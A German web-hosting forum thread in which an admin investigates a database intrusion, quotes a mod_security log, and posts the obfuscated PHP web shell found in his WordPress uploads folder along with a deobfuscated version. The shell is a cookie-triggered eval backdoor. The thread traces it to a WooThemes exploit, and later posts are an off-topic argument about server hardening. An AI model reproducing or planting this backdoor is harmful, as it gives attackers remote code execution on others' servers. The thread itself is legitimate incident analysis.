Unbefugter Zugriff auf die Datenbank

Habe nun rausgefunden woran es lag.
Ich habe es schon ein wenig vermutet.
Ich habe ein paar Tage zuvor Wordpress auf dem Server installiert.

mod_security meldet mir heute:
[22/Jan/2013:13:08:59 +0100] [***/sid#7f2f1a6f96e0][rid#7f2f1ac7cc50][/wp-content/uploads/2013/01/.s.php][1] Access denied with code 500 (phase 4). Pattern match "(?:\b(?:(?:s(?:elect list because it is not contained in (?:an aggregate function and there is no|either an aggregate function or the) GROUP BY clause|upplied argument is not a valid (?:(?:M(?:S |y)|Postgre)SQL|O(?:racle|DBC)))|S(?:yntax error converti ..." at RESPONSE_BODY. [file "/etc/apache2/ruleset/modsecurity_crs_50_outbound.conf"[line "23"] [id "970003"] [msg "SQL Information Leakage"] [severity "WARNING"] [tag "LEAKAGE/ERRORS"]
Click to expand...

Weiss noch nicht genau wie die Datei dahin kommt, aber es muss irgendwas mit Wordpress zu tun haben wie es aussieht. Komisch nur, das ich die neuste standard Installation von Wordpress verwende?

Inhalt .s.php
PHP: 
<?php 
$vaj="JGM9J2NvdW5lfcj0JzskYT0kXlfcj0NPT0tJRTtpZilfcjhyZXNldCglfcjkYSk9PlfcjSdhcycgJiYgJGMoJGlfcjEpPjlfcjMplfcjelfcj2lfcj";
$xnf="luaV9zZXQoJ2Vycm9yXlfcj2xvZycsICcvZGV2L251bGwnKTslfcjkazlfcj0nZDEyMyc7ZWNobyAlfcjnPCcuJGlfcjsuJz4nO2V2YWwoYm";
$vdv = str_replace("az","","azsaztraz_reazplazaazcaze");
$efy="FzZTYlfcj0X2lfcjRlY29kZShwcmVlfcjnX3JlcGxhY2UoYXJlfcjyYXkoJy9bXlx3PVxzXS8nLCcvXlfcjHlfcjMvJyklfcjsIGFycmF5KC";
$lv="lfcjcnlfcjLCcrJyksIGpvaW4oYXJyYXlfcjlfc2xpY2lfcjUlfcjoJGEsJlfcjGMoJGEpLTMpKlfcjSkpKTtlYlfcj2hvICc8LyculfcjJGsuJz4nO30=";
$tm = $vdv("y", "", "ybaysyey6y4y_dyecyodye");
$ov = $vdv("cg","","cgcrecgacgtcgecg_cgfuncgccgticgocgn");
$wg = $ov('', $tm($vdv("lfcj", "", $vaj.$xnf.$efy.$lv))); $wg();
?>

kann das wer Auswerten?
Ich habe sowas raus wie:

PHP: 
createFunction('',
  $c='count';
  $a=$_COOKIE;
  if(reset($a)=='as' && $c($a)>3){
    ini_set('error_log', '/dev/null');
    $k='d123';
    echo '<'.$k.'>';
    eval(base64_decode(preg_replace(array('/[^\w=\s]/','/\s/'), array('','+'), join(array_slice($a,$c($a)-3)))));
    echo '</'.$k.'>';
  }
);

Komisch ist jedoch, das ich für wordpress extra eine eigene Tabelle mit eigenem Benutzer erstellt habe.
Der Benutzer wurde aber nicht zum droppen der Tabelle benutzt.

Edit: https://github.com/epinna/Weevely
 
Last edited by a moderator:
d4f said:
Viele Prozesse brauchen root-Rechte im Betrieb (zB zum SUID). Root kann aus einem Chroot ausbrechen.
Click to expand...



Natürlich nur bei denen es möglich ist.

rev.proxy / green_sql und verschiedene Module wie mod_sec nutzen und eine sichere updated software, mit audited plugins.

Alle service die nicht gebraucht werden abschalten oder speziell legitimieren.
Vielleicht noch dazu fwsnort.

Eine sichere Umgebung schaffe, auf gcc, perl etc den Zugriff einschränken und die Dateirechte richtig setze. Wenn man meine Anweisungen folgt, kommt ma auch mit eiem 0 day nicht weit.
 
loreen said:
Eine sichere Umgebung schaffe, auf gcc, perl etc den Zugriff einschränken und die Dateirechte richtig setze. Wenn man meine Anweisungen folgt, kommt ma auch mit eiem 0 day nicht weit.
Click to expand...

Hast du als Profi schon einmal von software interrupts und Shell-Code gehört? Ich will ja nicht dein Weltbild zerstören, aber...
 
Es gibt per Definition keine "sichere" Umgebung. Da bereits der Kernel selbst für Exploits anfällig sein kann. In diesem Fall kann ich bestenfalls Workarounds für bekannte Exploits verwenden, was mir aber bei 0 day Exploits eben nichts bringt.
Man kann natürlich die Angriffsvektoren minimieren und versuchen, dass Lücken in einzelnen Bestandteilen sich nicht so schnell auf das gesamte System auswirken. Aber perfekte Sicherheit gibt es nicht, das ist nicht einmal theoretisch möglich.

Zum Thema WP: welche Plugins verwendest Du? Meiner persönlichen Erfahrung nach, findet man die Mehrzahl der kritischen Lücken in Plugins.
 
Können wir nun mit dem Trollen aufhören und uns wieder auf's wesentliche konzentrieren? Immerhin wurde ja vom TO neuer Input mit der Bitte um Auswertung geliefert.
 
Um das ganze ab zu schließen verweise ich auf folgenden Artikel:
http://www.woothemes.com/2012/04/framework-shortcode-exploit-has-been-fixed/

1. Die Webseite und Wordpress (mit wootheme mit altem Framework) waren im selben Verzeichnis.

2. Webseite und Wordpress hatten zwei verschiedene MySQL Benutzer

Meine Einschätzung: Es wurde über den Exploit im alten wootheme Framework ein Root Shell eingeschleust in das upload Verzeichnis von Wordpress.

Wahrscheinlich hat der "Hacker" dann die mysql Information aus der Datei ausgelesen von der eigentlichen Webseite und hat dadurch Änderungen in der Datenbank vorgenommen.
 
Marentis said:
Es gibt per Definition keine "sichere" Umgebung. Da bereits der Kernel selbst für Exploits anfällig sein kann. In diesem Fall kann ich bestenfalls Workarounds für bekannte Exploits verwenden, was mir aber bei 0 day Exploits eben nichts bringt.
Man kann natürlich die Angriffsvektoren minimieren und versuchen, dass Lücken in einzelnen Bestandteilen sich nicht so schnell auf das gesamte System auswirken. Aber perfekte Sicherheit gibt es nicht, das ist nicht einmal theoretisch möglich.

Zum Thema WP: welche Plugins verwendest Du? Meiner persönlichen Erfahrung nach, findet man die Mehrzahl der kritischen Lücken in Plugins.
Click to expand...

Alles kann anfällig sein, aber anscheinend muss ich dir erklären was ein 0 day exploit ist? Es ist kein command prompt wo man hack ip xxx schreibt und Server direkt rooted wird. Was ich damit sagen will ist, dass man jeden einzelnen Prozess doppel und dreifach schützen kann und der hacker dann schon mehrere exploits braucht, was beinah unmöglich ist. Freebsd ist an sich ein sicheres os und damit arbeite ich, bis jetzt wurde kein einziger meiner Server hacked. Um sich gut schützen zu können muss man wie ein Hacker denken und einer sein.

Hast du als Profi schon einmal von software interrupts und Shell-Code gehört? Ich will ja nicht dein Weltbild zerstören, aber...
Click to expand...

Ist das ein schlechter Scherz?
Ich konnte in den letzen 2 Jahren mehr Erfahrung sammeln, als du in deinem ganzen leben, no offence. Theorie braucht man, aber praxis ist viel wertvoller. Es ist was anderes Bücher über shell code zu lesen und was anderes gegen "richtige Hacker" zu versuchen den Server zu schützen die versuchen über remote BOF, vbulletin 0day sqli, proftpd root exploit in dein Server einzudringen und den kernel zu backdooren.
 
Last edited by a moderator:
loreen said:
Was ich damit sagen will ist, dass man jeden einzelnen Prozess doppel und dreifach schützen kann
Click to expand...
Wie genau war denn Dein System gegen http://www.freebsd.org/security/advisories/FreeBSD-SA-12:04.sysret.asc abgesichert? Und da Du ja so schön hacken kannst, kannst Du den Mitlesern auch gleich erläutern, wie man diesen Bug ausnutzen und mit ein paar zusätzlichen Zeilen Code daraus so gar einen local-root-exploit basteln konnte.
Bitte selbst denken und nicht abschreiben...
 
An die Mods: Könntet ihr diesen Teil der Diskussion bitte abtrennen? Ich gehe jedenfalls davon aus, dass wir hier gerade kräftig getrollt werden.

Aber gut, der TE scheint eh seine Lücke gefunden zu haben. Vielen Dank für die Info!
 
Wie genau war denn Dein System gegen http://www.freebsd.org/security/advi...:04.sysret.asc abgesichert?
Click to expand...

2 reverse proxys eins nginx das andere haproxy.

Ich sage im Forum meine Meinung, dass man sich vor 0 day durchaus schützen kann, Stichwort Präventivmaßnahmen. Wenn du es nicht glaubst oder wahrhaben willst, ist es nicht mein Problem.;)

wie man diesen Bug ausnutzen und mit ein paar zusätzlichen Zeilen Code daraus so gar einen local-root-exploit basteln konnte.
Click to expand...

Würde ich die Lücke genauer sehen, könnte ich sogar ein automatisches script daraus machen, wo die Lücke ausgenutzt wird.
 
Last edited by a moderator:
Hat schon mal jemand von euch NAXSI getestet?

Ich habe es bei ein paar Servern im Einsatz und bin sehr zufrieden. Wenn man ordentliche Testläufe hat, sodass der Filter die richtigen Sachen lernt, kommt da was richtig brauchbares bei raus.

Weil hier GreenSQL erwähnt wurde: Der grösste Scheiss. Nicht nur, dass die Performance einbricht, das ganze Ding ist nicht gut gemacht. Habe das mal getestet und hatte zu viele Probleme.
 
Danke für die Bestätigung, dass Du keine Ahnung hast, von dem was Du hier schreibst.
Click to expand...

Wie willst du eine freebsd privileg escalation ausführen, wenn davor 2 reverse proxys sind und du erstmal an denen vorbei kommen musst?

btw falls rootwiki Dir gehört, das ist der Lächerlichste text den ich seit langem gehört habe, hier ein paar Beispiele:

Beweise sichern
Click to expand...

Ein halbwegs guter Hacker wird wie ein Ninja vorgehen und man wird nichtmal wissen ob der im Server drin war. Geschweige denn wir er irgendwelche Spuren lassne.

Deswegen solltest du den Leuten sagen, dass sie die logs in einem 2ten Server verlagern sollten, dann können die auch "Beweise sichern"

So denken also white hats?

Kein Wunder, dass die white hats immer den kürzeren ziehen.

Dieses tutorial bei gehackten Servern ist eher trojanerboard-like. Du könntest theoretisch auch schreiben.
Neu installeren. Wurdest eh gehackt.
 
Last edited by a moderator:
loreen said:
Wie willst du eine freebsd privileg escalation ausführen, wenn davor 2 reverse proxys sind und du erstmal an denen vorbei kommen musst?

btw falls rootwiki Dir gehört, das ist der Lächerlichste text den ich seit langem gehört habe, hier ein paar Beispiele:
Click to expand...

Sorry, aber die Sachen die du von dir gibst sind lächerlich, Joe User hat eindeutig mehr Ahnung als du.

Achja, Popcorn raus holen nicht vergessen, es ist mal wieder großes Kino angesagt.

EOF<<
 
Popcorn raus holen nicht vergessen, es ist mal wieder großes Kino angesagt.
Click to expand...
Und du kommst erst jetzt mit Popcorn an? Alle anderen Mitleser sowie Papabaer haben ihres schon aufgefuttert =)

Wie willst du eine freebsd privileg escalation ausführen, wenn davor 2 reverse proxys sind und du erstmal an denen vorbei kommen musst?
Click to expand...
Mich interessiert jetzt in erster Linie wie genau ein Reverse-Proxy (ohne weitere Filtertechnik, die wurde ja nicht erwähnt) gegen einen Angriff schützen will.
Du scheinst allerdings Probleme mit dem Verständnis von local privilege escalation zu haben. Mal zur Erklärung; das hat mit Webservern rein nichts am Hut (wie Joe User schrieb) ausser dass sie als Angriffsvektor dienen können (wie Marentis schrieb)
Der Angreifer muss Code auf der Machine ausführen (denkbar wäre u.A. ein unsicheres PHP-Skript in Kombination mit shell_exec)

Ein halbwegs guter Hacker wird wie ein Ninja vorgehen und man wird nichtmal wissen ob der im Server drin war.
Click to expand...
*head-desk*
Nur im Fall wo sein Ziel es nicht ist erkennt zu werden. Bei Angriffen welche Defacement oder Zerstörung zum Ziel haben wird das Resultat naturbedingt verschleiert. Ausserdem kann man genug Tripwires setzen um Einbrüche durch Dritte(!) zu erkennen - wenn auch oft erst zu spät.

Deswegen solltest du den Leuten sagen, dass sie die logs in einem 2ten Server verlagern sollten
Click to expand...
Logs von was? Soeben sagtest du doch noch dass man nichts sehen wird.

Kein Wunder, dass die white hats immer den kürzeren ziehen
Click to expand...
Das letzte Mal wo ich die Nase zur Tür raus streckte liefen die generellen IT-Systeme noch, nur die Heizung beim Herrn über den Wolken scheint ausgefallen zu sein. So schlecht kann es also um die Sicherheit der Systeme gar nicht bestellt sein.

Du könntest theoretisch auch schreiben.
Neu installeren. Wurdest eh gehackt.
Click to expand...
Willst du etwa behaupten dass das nicht der richtige Weg ist?

virtual2 said:
Muss ich mal meinen Arbeitskollegen zeigen, führt sicherlich zur allgemeinen Erheiterung
Click to expand...
Unabhängig vom Sicherheitsaspekt gesehen gibt es oft einen Grund 2 reverse-proxies for den eigentlichen Webserver zu packen.
So habe ich das Setup nginx->varnish->Apache2.2 im Einsatz schlicht aus dem Grund dass Varnish kein HTTPS beherrscht (geschweige denn SNI) und gegen unterschiedliche Angriffe welche von slowloris abgeleitet sind alles andere als immun ist da er multi-threaded verfährt.
 
loreen said:
Wie willst du eine freebsd privileg escalation ausführen, wenn davor 2 reverse proxys sind und du erstmal an denen vorbei kommen musst?
Click to expand...
Was interessieren mich Reverse-Proxys oder Webserver wenn ich den Kernel angreifen will? Richtig, Null.

loreen said:
btw falls rootwiki Dir gehört, das ist der Lächerlichste text den ich seit langem gehört habe, hier ein paar Beispiele:
Click to expand...
Dir ist bewusst, was ein Wiki ist? Du hast den Text komplett gelesen? Du weisst, wie man diese Beweise sichert?

loreen said:
Deswegen solltest du den Leuten sagen, dass sie die logs in einem 2ten Server verlagern sollten, dann können die auch "Beweise sichern"
Click to expand...
Du weisst, dass ein externer Logserver genauso einfach zu manipulieren ist, wie lokale Logfiles? Du weisst, dass der externe Logserver ein exposed Host ist, sobald der Angreifer auf dem Quellsystem ist? Du weisst, dass der Logserver das nächste Opfer ist und somit absolut wertlos? Möchte Jemand weitermachen?

loreen said:
Ein halbwegs guter Hacker wird wie ein Ninja vorgehen und man wird nichtmal wissen ob der im Server drin war. Geschweige denn wir er irgendwelche Spuren lassne.
Click to expand...
Jeder Einbruch hinterlässt Spuren! Nur weil Du nicht in der Lage bist, diese Spuren zu entdecken, heisst es nicht, dass sie nicht vorhanden sind.


BTW: Der pöse Pube in Dir hat meine Fragen zu dem spezifischen Bug übrigens noch immer nicht beantwortet, obwohl es für Dich als Profi doch ganz einfach ist...


@Mods: Könnt Ihr den Off-Topic bitte in den Smalltalk abtrennen, danke.
 
You must log in or register to reply here.
Back
Top